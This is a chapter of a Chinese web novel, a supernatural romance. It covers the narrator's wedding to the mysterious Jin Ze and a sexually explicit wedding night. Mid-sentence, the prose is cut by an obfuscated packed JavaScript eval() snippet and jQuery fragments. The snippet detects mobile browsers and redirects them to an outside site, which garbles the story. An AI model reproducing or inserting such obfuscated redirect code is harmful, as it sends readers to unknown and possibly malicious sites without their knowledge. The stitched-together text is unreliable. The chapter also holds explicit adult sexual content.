以为临时的婚礼,冷冷清清没什么热闹可言。庭院里的喜鹊却叽叽喳喳,绕着挂满红灯笼的银杏树飞来飞去。
青绿小扇叶,闪烁着盈盈金光,像挂了彩灯般璀璨。吴老一席深紫色长衫,站树下宣证婚词。
“今天是我家公子金泽,同我家宋雨熙小姐大婚之日。受我家公子之托,很荣幸为我家公子小姐证婚。在这里,感谢上苍让我家公子小姐相遇,我家公子小姐从此以后天天幸福美满……”
说完一大段感谢天地,感谢公子小姐的祖宗守护,吴老抹了把闪泪光的眼睛,继续说,“下面请我家公子,对雨熙小姐表达深刻的爱意。”
喜鹊都缩了翅膀,停在树枝上,歪着脑袋听。
穿着喜红中山装新郎礼服的金泽,看着同款中式新娘礼服的我。茶色墨镜的镜腿上,绑了两根细细的红丝带。
微风拂过,红丝带飘飘,像战争年代独守家门的妻子盼着丈夫归家的祈福。
“雨熙,我爱你。”洪亮的表白,震得喜鹊们啾啾鸣叫。
一阵后,大家静候下文,金泽却不再说话。
吴老踩着小碎步到金泽身边,小声说:“公子,太短了。越长越能体现您爱小姐。”
金泽点头,继续说:“雨熙,从我第一次见你,你的模样就长在了我的眼睛里。”
“你看见过我的样子?”我感觉不对劲。
“通过你的声音,我可以在脑海里画出你美丽的模样。”
“……”这人说话怎么总让人误会?
“雨熙不喜欢我能看见你的样子吗?”
“没有,只是有点吃惊,我以为你能看见了。”
“我看得见,因为你一直在我心里。第一次见你,你就在我心里。”
“……哦。”
“今晚,我们站在老树下,”银杏树一阵摇晃,树叶沙沙,逗得喜鹊们扑腾翅膀啾啾,“小银说很开心见到你,问可不可以给你做个花环?”
“可以。”可是它哪里来的花瓣呢?
刚这么想,一根长满绿叶的树枝悠地伸长。我睁大眼,盯着不断延伸至院墙外的银杏树枝。
它卷上朵朵粉艳海棠花,缩回来的空档,绿叶细枝已然穿上片片花瓣。
如果没有见过二楼的三具尸体,我可能还会惊讶。现在,爱心形状的花环刚好套住我头围,也变得正常了。
“谢谢,我很喜欢。”我摸摸花环,微微一笑。
银杏抖抖树枝。点点金光洒下,落至半空,忽然停住。
我比可思议地跳起来,抓住一点。萤火虫似的光芒,落我掌心闪耀。很美,像儿时父亲用玻璃瓶抓回来的萤火虫。
“雨熙最喜欢什么花?”金泽问。
“康乃馨。”没能在母亲生前买上一束的花。虽然海棠花也很喜欢。
话落,闪闪金光飘下朵朵粉红康乃馨。
我呆呆望着,伸手接住一朵,就听母亲的声音在耳边说:“我们雨熙以后一定要找一个身强力壮的男儿当丈夫。你爸走得早,妈妈只能一个人带你。你不要走妈妈的老路。”
“金泽,你能长命百岁吗?”我眨眨有些发热的眼睛。
“只能百岁吗?”
“我只能百岁。”
“嫁给我,你可以超过。”
“你也能吗?”
“我能。”
“那就够了。”
我不确定金泽有没有看见尸体都恢复了我的脸。直觉告诉我,第一个尸体的话,有特别的含义。那话,就好像我也该成为尸体。
“雨熙,”金泽轻轻抓住我的胳膊,“我们会一起超过长命百岁。”
“嗯,谢谢。”我将手中花插上耳朵,“金泽,我愿意嫁给你。”
喜鹊们又歪着头听。吴老道:“下面由我家雨熙小姐,表达对我家公子热烈的爱意。”
“啊?我也要吗?”我指指自己鼻子。
才刚认识两天不到,要怎么表达?
“要的。雨熙小姐可以慢慢讲。”吴老笑眯眯。银杏摇动枝丫沙沙响,喜鹊啾啾地跟着起哄。
“我,我……”我吞吐着。
上一次参加婚礼还是母亲在世的时候,跟着去村里人嫁女儿的宴席。农村人没什么排场,来接新娘的婚车一到,就点爆竹开席,没有证婚这一流程。
我绞尽脑汁搜罗电视剧里出现过的台词,琢磨着道:“虽然我们认识的时间很短,但你听劝的品行让我觉得是所托之人。今晚我们结为夫妻,我愿意跟随你到老。不论贫穷富贵,还是疾病健壮,抑或年轻年迈,我都不离不弃。”
吴老即刻鼓掌:“公子,雨熙小姐很爱您。”
银杏和喜鹊跟着打call。沙沙,啾啾。
金泽咧开嘴角,搂住我腰,说:“不论天上地下,还是往生新业,我都与你携手共赴。雨熙,不止今生,还有来世,生生世世,我们都是夫妻,你愿意吗?”
香甜的红豆圆子味道,随他的话语呼出,我点头。我要说下辈子想做一株小草,无依无靠也毫无牵绊,他大概会蹙眉。
只要金泽能帮忙破案,只是应下虚无缥缈的下一世又有什么关系?
见我点头,金泽不常有表情的脸笑开了。“雨熙,我爱你。”说着托住我后脑勺,吻来。
我本能要推开,却不得不接受已嫁为人妇。我攥住他的喜红礼服,笨拙张嘴,许他莽撞到齿关的索取。
他一探入我嘴里,吴老就喊道:“礼毕,送入洞房。”
银杏欢快摇树枝,喜鹊啾啾地在前头飞。金泽抱起我,却不松嘴,大步上台阶,往三楼去。
途经二楼,我转头想看看入夜了有没有尸体现身。金泽扣回我脑袋,不松嘴却能发声:“雨熙不专心,是因为我吻得不够好吗?”说完猛一探,直逼咽喉。
“唔!”嘴角溢出一声惊颤,就听喜鹊鸣叫得尖锐。那感觉就像看偶像剧尖叫的粉迷。
金泽似大受鼓舞,越发吻得深。我招架不住,环紧他脖子,立起上半身,捶他胸口抗议。
见我蹬腿挣扎,金泽索性托住我屁股,让我腿夹住他腰,像抱孩子那般面对面抱住,而后手就探入我礼服。
“唔唔唔!”不可以在外边!
他的手异常温暖,像冬日的热炕头。这会大夏天,灼得人浑身冒汗。
一阵天旋地转,我睁着眼也没看清是怎么回到了卧房。只嗅得一阵桂花清香,我已躺在金泽的大床上。
深蓝色帷幔很快落下,猛烈的吻从嘴里退出,落往下巴、脖颈、胸口……一阵似要吞入腹的凶吻,身上的礼服化为块块碎片,飘出帷幔。
“等,等一下……”我喘息着越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134096|180277||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来越薄弱的意志。
那日初见菲尼克斯的腹部发热,此刻烘烤着身体,腰部不自觉扭动。
“雨熙,我不想等。”
“等一下,一下,等,等……”
他已埋首下腹去。我揪住他的一缕金发,喊出最后的理智:“洞房得在下个月月底,吉,吉利……”
他顿住,仰起头来,一脸疑惑:“不是说好今晚吗?”
“你,你没让我见学生们,不可以……”
我深深喘息战栗,希望快点平复今夜不能有的越界。
没谈过恋爱,我也见多了案卷的分分离离。曾经相爱的恋人,也能成为持刀相向的仇人。何况刚见面的我们?
有多少男人得到了女人就玩腻了抛弃了?我不确定金泽对我的新鲜度能持续多久。唯一能延长的方法,就是延迟洞房。
“好。今晚只雨熙快乐。”好一会,他说出这句话,后又埋首下去。
“我,我也不需要,我想和你一起再快乐……”
“没关系,我可以等。但我不想雨熙等。今天是我们新婚的第一个晚上,我得伺候好我的新婚妻子。”
“不,不用……”
他一点没听进,还嫌我啰嗦更卖力。我渐渐字不成句,只能坠入金泽带来的愉悦中。
不知道持续了多久,久到窗外鸣叫的喜鹊都回去休息了,金泽还在不遗余力。
躺着、趴着、侧着、坐着……我已瘫软如泥,他还一身礼服整整齐齐。似不得劲只在床上,他还抱我到书房——早上推开,明明是和隔壁一样布局的卫生间。
我像道美食横呈在书桌上,身下垫了一张练书法的大张白纸。
“雨熙,放心开心,不会打湿桌子。”
“混蛋……”我趁着还有一丝清醒的意识,啪地打上金泽的脸。但软绵绵的手掌,一点没打红他,倒打出他一脸笑意。
“雨熙,累了可以睡。不用担心,等会我抱你回床。”说完又埋首。
“@#¥……&*%%@@%!”我已不知自己骂了啥,脑袋一歪昏睡过去。
迷糊中,我似听到金泽喃喃:“宋雨熙,你知道自己嫁给谁了吗?就敢应生生世世?”
我已累到感觉不到四肢的存在,无力回答。
等第二天醒来,金泽不在房间。床幔透进日上三竿的明亮,我撑着似掏干了水分的身体坐起来。
忽感手上什么东西硌人,我抬起左手看看。无名指上,戴了一枚金凤戒指。
想来是我睡着后金泽给戴的。吴老昨晚没说交换戒指,估计知道我根本没准备。
金凤俯卧的戒指,头部在无名指中间,尾部圈住我的指根。精雕细琢,耀眼夺目。
我瞅了又瞅,心道:妈,您的女婿怪有钱的,还是妖。我不会步您后尘,放心吧。
与母亲唠唠最近的家常,大都是在我的破案日常后的夜晚。今天却是一觉上三竿。
唠嗑完,我拖着酸胀的身体,到衣柜找衣服。
整齐的衣柜里,一半男士衣服,一半我昨天在隔壁房间见过的女士衣裙。
翻了一阵,终于找着一套白衣长裤。我套上衣服,把自己浑身上下的吻痕包裹住,正准备推开书房瞅瞅,响起了敲门声。
“雨熙小姐,您起床了吗?我给您端红豆圆子来了。”